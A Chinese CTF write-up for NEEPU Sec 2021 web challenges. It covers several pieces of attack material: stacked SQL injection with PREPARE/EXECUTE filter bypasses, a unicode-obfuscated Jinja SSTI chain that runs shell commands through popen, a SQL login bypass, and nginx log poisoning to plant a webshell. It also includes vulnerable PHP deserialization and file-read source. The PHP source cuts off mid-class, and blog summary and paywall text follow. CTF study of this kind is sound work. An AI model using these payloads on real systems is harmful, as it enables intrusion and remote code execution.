[NEEPU Sec 2021 公开赛]WP
前言:
这哪是新生赛呀,web方向题目难度还是特别高的,但是复现之后感觉质量真的挺高的,这里记录下感觉有点意思的题目
随便注2.0
这里过滤了上传用了的字符:
return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| | |\./i",$inject);
但还是先注出一些有用的数据先把:
0%27;show%0ddatabases;%23
0%27;show%0dtables;%23
得到:"@Neepu2021招新赛"和"words"
0%27;show%0dcolumns%0dfrom%0dwords;%23

0%27;show%0dcolumns%0dfrom%0d`@Neepu2021招新赛`;%23

但是当我们输入1读取数据的时候,是一个2个数据的数组,所以这里就对应words列里面的字段,即默认查询words里面的数据,原题就可以使用rename把@Neepu2021招新赛修改为words就可以读取了,但这里被过滤了,原题还可以使用PDO预编译,虽然这里过滤了set,但是其实不用set也可以,payload:如下:
0';PREPARE w0s1np from concat('sel','ect flag from `@Neepu2021招新赛`');EXECUTE w0s1np;%23
这里是为了看没有绕过空格,使用的时候直接把空格改成%0d即可
The_myth_of_Aladdin
知识点:
绕过{
{}} 空格 . _
这里可以采用unicode的方法进行绕过

发现可以利用{%print%}绕过{
{}}
然后过滤了关键字,尝试用编码绕过,发现就unicode编码能绕过,大致payload如下:
{%print(""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[132]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]["\u0070\u006f\u0070\u0065\u006e"]("\u006c\u0073")["\u0072\u0065\u0061\u0064"]())%}
{%print(""["__class__"]
["__base__"]
["__subclasses__"]()
[132]["__init__"]
["__globals__"]
["popen"]
("ls")
["read"]())%}
ls命令可以成功执行,但当我们尝试读取flag的时候却不行,估计过滤了常见命令,可以使用base64 /f*绕过
最后payload:
{%print(""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[132]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]["\u0070\u006f\u0070\u0065\u006e"]("\u0062\u0061\u0073\u0065\u0036\u0034\u0020\u002f\u0066\u002a")["\u0072\u0065\u0061\u0064"]())%}
{%print(""["__class__"]
["__base__"]
["__subclasses__"]()
[132]["__init__"]
["__globals__"]
["popen"]
("base64 /f*")
["read"]())%}
还有一个读取文件的方法:cut 截断数组带出
("c""ut%09-c%092-40%09/fl""ag")
即("cut -c 2-40 /flag")
gamebox
知识点:
SQL万能密码
日志包含
上来一个登录框(只有username),猜测后台的SQL语句为select * from user where username = '$username',但是ban了很多字符,如or、||、#、--等等,这里把可以通过a'='0登陆上去,原理就是username=a为null,null=a为true
然后就是猜正反
然后查看服务器是nginx服务,就去包含日志文件:/var/log/nginx/access.log
然后就在User-Agent包含一句话木马
然后连蚂蚁的剑就行了
serialize_club
知识点:
任意文件读取
反序列化链构造
session_upload_progress构造session反序列化
无字母webshell
getshell提权读取flag
进去查看原代码,发现

存在任意文件读取,读取functions/file.php
<?php
/**
* @author: Ricky
* @function: Read file
* @return string
* @param $filename string
* @param $dirname string
**/
header('content-type:image/jpeg');
$filename = $_GET['file'];
$dirname = '/var/www/html/';
if(!preg_match('/^\/|\/$|\.\//', $filename)){
$file = file_get_contents($dirname.$filename);
echo $file;
} else{
die('Read fail :(');
}
发现不允许目录穿越,只允许在/var/www/html这里
然后尝试读取index.php, 发现可以读取同时包含了config/backdoor.php
<?php
error_reporting(0);
include "config/backdoor.php";
ini_set('session.serialize_handler','php');
session_start();
class neepu {
protected
//! Neepu
$neepu,
//! Memory-held data
$data,
//! Info
$info;
public function __construct() {
$this->neepu = "<a class=\"navbar-brand\" href=\"index.php\">Serialize</a>";
$this->info['info'] = "<a class=\"navbar-brand\" href=\"index.php\">PHPINFO</a>";
}
public function checkinfo() {
if(!isset($_POST['info'])) {
echo $this->neepu;
}else {
echo $this->info['info'];
phpinfo();
}
}
public function __call($name,$args) {
echo $this->neepu;
}
public function __toString() {
$this->info['info']->data;
return "Neepu!";
}
}
class n33pu {
public
//! Neepu func
$func;
public function __get($args) {
$Neepu = $this->func;
return $Neepu();
}
}
class dumb {
public
//! dumb
$dumb;
public function silly(){
echo "Who care about it?";
}
public function __destruct()

本文详细介绍了在网络安全竞赛中遇到的多种WEB安全问题,包括SQL注入、编码绕过、文件读取、PHP反序列化漏洞利用等。通过分析题目中的过滤规则和代码逻辑,作者展示了如何构造payload进行攻击,例如使用Unicode编码绕过关键词过滤,利用session_upload_progress进行文件上传,并通过构造特定的PHP类和方法调用来执行后门。此外,还涉及了PHP的mail()函数和file_get_contents函数的特性,以及如何通过它们执行命令和读取文件。最后,文章提到了如何通过多步骤操作获取服务器上的flag。
最低0.47元/天 解锁文章
443

被折叠的 条评论
为什么被折叠?



